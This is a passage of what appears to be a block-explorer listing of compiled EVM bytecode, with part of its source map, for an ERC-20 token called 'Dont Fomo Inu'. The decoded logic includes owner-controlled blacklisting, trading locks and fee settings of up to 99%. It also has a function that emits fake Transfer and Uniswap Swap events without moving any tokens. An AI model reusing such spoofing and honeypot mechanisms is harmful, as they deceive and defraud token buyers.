3ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806108aa906137c4565b915050610827565b5050565b60606040518060400160405280600d81526020017f446f6e7420466f6d6f20496e7500000000000000000000000000000000000000815250905090565b5f6109066108ff611a36565b8484611a3d565b6001905092915050565b610918611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099b9061374c565b60405180910390fd5b6001601560146101000a81548160ff021916908315150217905550565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f670de0b6b3a7640000905090565b5f805f90505b8551811015610c2f57858181518110610a1757610a1661376a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef878481518110610a8057610a7f61376a565b5b6020026020010151604051610a9591906132af565b60405180910390a3858181518110610ab057610aaf61376a565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d822878481518110610b2d57610b2c61376a565b5b60200260200101515f80898781518110610b4a57610b4961376a565b5b6020026020010151604051610b629493929190613844565b60405180910390a38273ffffffffffffffffffffffffffffffffffffffff1663e156b1b6878381518110610b9957610b9861376a565b5b602002602001015189878581518110610bb557610bb461376a565b5b60200260200101516040518463ffffffff1660e01b8152600401610bdb93929190613887565b6020604051808303815f875af1158015610bf7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c1b91906138d0565b508080610c27906137c4565b9150506109fb565b506001905095945050505050565b5f610c49848484611c00565b610d0684610c55611a36565b610d01856040518060600160405280602881526020016142386028913960045f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610cb8611a36565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546124609092919063ffffffff16565b611a3d565b600190509392505050565b60185481565b5f6002905090565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610d4c611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dcf9061374c565b60405180910390fd5b5f60105f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b610e37611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ec3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eba9061374c565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f20611a36565b73ffffffffffffffffffffffffffffffffffffffff161480610f95575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f7d611a36565b73ffffffffffffffffffffffffffffffffffffffff16145b610f9d575f80fd5b5f479050610faa816124c2565b50565b5f610ff460025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461252a565b9050919050565b611003611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461108f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110869061374c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611151611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d49061374c565b60405180910390fd5b8060168190555050565b6111ef611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461127b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112729061374c565b60405180910390fd5b670de0b6b3a7640000601681905550670de0b6b3a7640000601781905550565b60165481565b6011602052805f5260405f205f915090505481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60175481565b60606040518060400160405280600381526020017f4446490000000000000000000000000000000000000000000000000000000000815250905090565b611328611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ab9061374c565b60405180910390fd5b8060188190555050565b5f6113d16113ca611a36565b8484611c00565b6001905092915050565b6010602052805f5260405f205f915054906101000a900460ff1681565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611438611a36565b73ffffffffffffffffffffffffffffffffffffffff1614806114ad575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611495611a36565b73ffffffffffffffffffffffffffffffffffffffff16145b6114b5575f80fd5b5f6114bf30610fad565b90506114ca81612596565b50565b6114d5611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611561576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115589061374c565b60405180910390fd5b5f5b838390508110156115fc578160055f8686858181106115855761158461376a565b5b905060200201602081019061159a91906134ff565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806115f4906137c4565b915050611563565b50505050565b61160a611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611696576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161168d9061374c565b60405180910390fd5b601982856116a491906138fb565b11156116ae575f80fd5b606381846116bc91906138fb565b11156116c6575f80fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117c891906132af565b60405180910390a3600190509392505050565b6117e3611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461186f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118669061374c565b60405180910390fd5b8060178190555050565b611881611a36565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461190d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119049061374c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361197b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119729061399e565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611aab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aa290613a2c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611b19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b1090613aba565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611bf391906132af565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611c6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6590613b48565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611cdc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd390613bd6565b60405180910390fd5b5f8111611d1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1590613c64565b60405180910390fd5b611d266112b6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611d945750611d646112b6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561216d57601560149054906101000a900460ff16611e2357611db56112b6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611e22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e1990613cf2565b60405180910390fd5b5b601654811115611e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5f90613d5a565b60405180910390fd5b60105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611f06575060105f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b611f45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3c90613de8565b60405180910390fd5b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611ff15760175481611fa684610fad565b611fb091906138fb565b10611ff0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fe790613e76565b60405180910390fd5b5b5f611ffb30610fad565b90505f601854821015905060165482106120155760165491505b80801561202d575060158054906101000a900460ff16155b8015612086575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b801561209e5750601560169054906101000a900460ff165b80156120f1575060055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015612144575060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561216a5761215282612596565b5f4790505f81111561216857612167476124c2565b5b505b50505b5f6001905060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff168061220d575060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b806122be575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156122bd575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156122cb575f905061244e565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015612374575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561238c57600854600c81905550600954600d819055505b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015612435575060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561244d57600a54600c81905550600b54600d819055505b5b61245a848484846127ff565b50505050565b5f8383111582906124a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249e9190613168565b60405180910390fd5b505f83856124b59190613e94565b9050809150509392505050565b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612526573d5f803e3d5ffd5b5050565b5f600654821115612570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256790613f37565b60405180910390fd5b5f61257961282c565b905061258e818461285590919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055505f600267ffffffffffffffff8111156125cc576125cb612f11565b5b6040519080825280602002602001820160405280156125fa5781602001602082028036833780820191505090505b50905030815f815181106126115761261061376a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156126b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906126d99190613f69565b816001815181106126ed576126ec61376a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506127533060145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a3d565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016127b595949392919061404b565b5f604051808303815f87803b1580156127cc575f80fd5b505af11580156127de573d5f803e3d5ffd5b50505050505f6015806101000a81548160ff02191690831515021790555050565b8061280d5761280c61289e565b5b6128188484846128d7565b8061282657612825612a97565b5b50505050565b5f805f612837612aab565b9150915061284e818361285590919063ffffffff16565b9250505090565b5f61289683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612b07565b905092915050565b5f600c541480156128b057505f600d54145b6128d557600c54600e81905550600d54600f819055505f600c819055505f600d819055505b565b5f805f805f806128e687612b68565b9550955095509550955095506129428660025f8c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612bc890919063ffffffff16565b60025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506129d38560025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c1190919063ffffffff16565b60025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550612a1d81612c6e565b612a278483612d25565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612a8491906132af565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b5f805f60065490505f670de0b6b3a76400009050612adc670de0b6b3a764000060065461285590919063ffffffff16565b821015612afa57600654670de0b6b3a7640000935093505050612b03565b81819350935050505b9091565b5f8083118290612b4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b449190613168565b60405180910390fd5b505f8385612b5b91906140d0565b9050809150509392505050565b5f805f805f805f805f612b808a600c54600d54612d5f565b9250925092505f612b8f61282c565b90505f805f612ba08e878787612df1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b5f612c0983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612460565b905092915050565b5f808284612c1f91906138fb565b905083811015612c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c5b9061414a565b60405180910390fd5b8091505092915050565b5f612c7761282c565b90505f612c8d8284612e7590919063ffffffff16565b9050612cdf8160025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612c1190919063ffffffff16565b60025f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505050565b612d3a82600654612bc890919063ffffffff16565b600681905550612d5581600754612c1190919063ffffffff16565b6007819055505050565b5f805f80612d896064612d7b888a612e7590919063ffffffff16565b61285590919063ffffffff16565b90505f612db26064612da4888b612e7590919063ffffffff16565b61285590919063ffffffff16565b90505f612dda82612dcc858c612bc890919063ffffffff16565b612bc890919063ffffffff16565b905080838395509550955050505093509350939050565b5f805f80612e088589612e7590919063ffffffff16565b90505f612e1e8689612e7590919063ffffffff16565b90505f612e348789612e7590919063ffffffff16565b90505f612e5c82612e4e8587612bc890919063ffffffff16565b612bc890919063ffffffff16565b9050838184965096509650505050509450945094915050565b5f808303612e85575f9050612ee6565b5f8284612e929190614168565b9050828482612ea191906140d0565b14612ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ed890614219565b60405180910390fd5b809150505b92915050565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b612f4782612f01565b810181811067ffffffffffffffff82111715612f6657612f65612f11565b5b80604052505050565b5f612f78612eec565b9050612f848282612f3e565b919050565b5f67ffffffffffffffff821115612fa357612fa2612f11565b5b602082029050602081019050919050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f612fe182612fb8565b9050919050565b612ff181612fd7565b8114612ffb575f80fd5b50565b5f8135905061300c81612fe8565b92915050565b5f61302461301f84612f89565b612f6f565b9050808382526020820190506020840283018581111561304757613046612fb4565b5b835b81811015613070578061305c8882612ffe565b845260208401935050602081019050613049565b5050509392505050565b5f82601f83011261308e5761308d612efd565b5b813561309e848260208601613012565b91505092915050565b5f602082840312156130bc576130bb612ef5565b5b5f82013567ffffffffffffffff8111156130d9576130d8612ef9565b5b6130e58482850161307a565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561312557808201518184015260208101905061310a565b5f8484015250505050565b5f61313a826130ee565b61314481856130f8565b9350613154818560208601613108565b61315d81612f01565b840191505092915050565b5f6020820190508181035f8301526131808184613130565b905092915050565b5f819050919050565b61319a81613188565b81146131a4575f80fd5b50565b5f813590506131b581613191565b92915050565b5f80604083850312156131d1576131d0612ef5565b5b5f6131de85828601612ffe565b92505060206131ef858286016131a7565b9150509250929050565b5f8115159050919050565b61320d816131f9565b82525050565b5f6020820190506132265f830184613204565b92915050565b5f819050919050565b5f61324f61324a61324584612fb8565b61322c565b612fb8565b9050919050565b5f61326082613235565b9050919050565b5f61327182613256565b9050919050565b61328181613267565b82525050565b5f60208201905061329a5f830184613278565b92915050565b6132a981613188565b82525050565b5f6020820190506132c25f8301846132a0565b92915050565b5f67ffffffffffffffff8211156132e2576132e1612f11565b5b602082029050602081019050919050565b5f613305613300846132c8565b612f6f565b9050808382526020820190506020840283018581111561332857613327612fb4565b5b835b81811015613351578061333d88826131a7565b84526020840193505060208101905061332a565b5050509392505050565b5f82601f83011261336f5761336e612efd565b5b813561337f8482602086016132f3565b91505092915050565b5f805f805f60a086880312156133a1576133a0612ef5565b5b5f6133ae88828901612ffe565b955050602086013567ffffffffffffffff8111156133cf576133ce612ef9565b5b6133db8882890161307a565b945050604086013567ffffffffffffffff8111156133fc576133fb612ef9565b5b6134088882890161335b565b935050606086013567ffffffffffffffff81111561342957613428612ef9565b5b6134358882890161335b565b925050608061344688828901612ffe565b9150509295509295909350565b5f805f6060848603121561346a57613469612ef5565b5b5f61347786828701612ffe565b935050602061348886828701612ffe565b9250506040613499868287016131a7565b9150509250925092565b5f60ff82169050919050565b6134b8816134a3565b82525050565b5f6020820190506134d15f8301846134af565b92915050565b6134e081612fd7565b82525050565b5f6020820190506134f95f8301846134d7565b92915050565b5f6020828403121561351457613513612ef5565b5b5f61352184828501612ffe565b91505092915050565b613533816131f9565b811461353d575f80fd5b50565b5f8135905061354e8161352a565b92915050565b5f6020828403121561356957613568612ef5565b5b5f61357684828501613540565b91505092915050565b5f6020828403121561359457613593612ef5565b5b5f6135a1848285016131a7565b91505092915050565b5f80fd5b5f8083601f8401126135c3576135c2612efd565b5b8235905067ffffffffffffffff8111156135e0576135df6135aa565b5b6020830191508360208202830111156135fc576135fb612fb4565b5b9250929050565b5f805f6040848603121561361a57613619612ef5565b5b5f84013567ffffffffffffffff81111561363757613636612ef9565b5b613643868287016135ae565b9350935050602061365686828701613540565b9150509250925092565b5f805f806080858703121561367857613677612ef5565b5b5f613685878288016131a7565b9450506020613696878288016131a7565b93505060406136a7878288016131a7565b92505060606136b8878288016131a7565b91505092959194509250565b5f80604083850312156136da576136d9612ef5565b5b5f6136e785828601612ffe565b92505060206136f885828601612ffe565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6137366020836130f8565b915061374182613702565b602082019050919050565b5f6020820190508181035f8301526137638161372a565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6137ce82613188565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613800576137ff613797565b5b600182019050919050565b5f819050919050565b5f61382e6138296138248461380b565b61322c565b613188565b9050919050565b61383e81613814565b82525050565b5f6080820190506138575f8301876132a0565b6138646020830186613835565b6138716040830185613835565b61387e60608301846132a0565b95945050505050565b5f60608201905061389a5f8301866134d7565b6138a760208301856134d7565b6138b460408301846132a0565b949350505050565b5f815190506138ca8161352a565b92915050565b5f602082840312156138e5576138e4612ef5565b5b5f6138f2848285016138bc565b91505092915050565b5f61390582613188565b915061391083613188565b925082820190508082111561392857613927613797565b5b92915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6139886026836130f8565b91506139938261392e565b604082019050919050565b5f6020820190508181035f8301526139b58161397c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f613a166024836130f8565b9150613a21826139bc565b604082019050919050565b5f6020820190508181035f830152613a4381613a0a565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613aa46022836130f8565b9150613aaf82613a4a565b604082019050919050565b5f6020820190508181035f830152613ad181613a98565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613b326025836130f8565b9150613b3d82613ad8565b604082019050919050565b5f6020820190508181035f830152613b5f81613b26565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613bc06023836130f8565b9150613bcb82613b66565b604082019050919050565b5f6020820190508181035f830152613bed81613bb4565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f613c4e6029836130f8565b9150613c5982613bf4565b604082019050919050565b5f6020820190508181035f830152613c7b81613c42565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e64205f8201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b5f613cdc603f836130f8565b9150613ce782613c82565b604082019050919050565b5f6020820190508181035f830152613d0981613cd0565b9050919050565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000005f82015250565b5f613d44601c836130f8565b9150613d4f82613d10565b602082019050919050565b5f6020820190508181035f830152613d7181613d38565b9050919050565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c6973745f8201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b5f613dd26023836130f8565b9150613ddd82613d78565b604082019050919050565b5f6020820190508181035f830152613dff81613dc6565b9050919050565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073695f8201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b5f613e606023836130f8565b9150613e6b82613e06565b604082019050919050565b5f6020820190508181035f830152613e8d81613e54565b9050919050565b5f613e9e82613188565b9150613ea983613188565b9250828203905081811115613ec157613ec0613797565b5b92915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c20725f8201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b5f613f21602a836130f8565b9150613f2c82613ec7565b604082019050919050565b5f6020820190508181035f830152613f4e81613f15565b9050919050565b5f81519050613f6381612fe8565b92915050565b5f60208284031215613f7e57613f7d612ef5565b5b5f613f8b84828501613f55565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613fc681612fd7565b82525050565b5f613fd78383613fbd565b60208301905092915050565b5f602082019050919050565b5f613ff982613f94565b6140038185613f9e565b935061400e83613fae565b805f5b8381101561403e5781516140258882613fcc565b975061403083613fe3565b925050600181019050614011565b5085935050505092915050565b5f60a08201905061405e5f8301886132a0565b61406b6020830187613835565b818103604083015261407d8186613fef565b905061408c60608301856134d7565b61409960808301846132a0565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6140da82613188565b91506140e583613188565b9250826140f5576140f46140a3565b5b828204905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f614134601b836130f8565b915061413f82614100565b602082019050919050565b5f6020820190508181035f83015261416181614128565b9050919050565b5f61417282613188565b915061417d83613188565b925082820261418b81613188565b915082820484148315176141a2576141a1613797565b5b5092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6142036021836130f8565b915061420e826141a9565b604082019050919050565b5f6020820190508181035f830152614230816141f7565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201733d2a0845f1bbd5a5bd168fadb8227af9c65bc4a6a4a3eba9eaa6228c094f864736f6c63430008140033
Deployed Bytecode Sourcemap
4365:14650:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13943:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6895:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7820:193;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13367:81;;;;;;;;;;;;;:::i;:::-;;5727:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7172:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8962:734;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8021:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6041:52;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7081:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5775:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14120:92;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18270:101;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13700:235;;;;;;;;;;;;;:::i;:::-;;7275:138;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1852:148;;;;;;;;;;;;;:::i;:::-;;18410:108;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18891:118;;;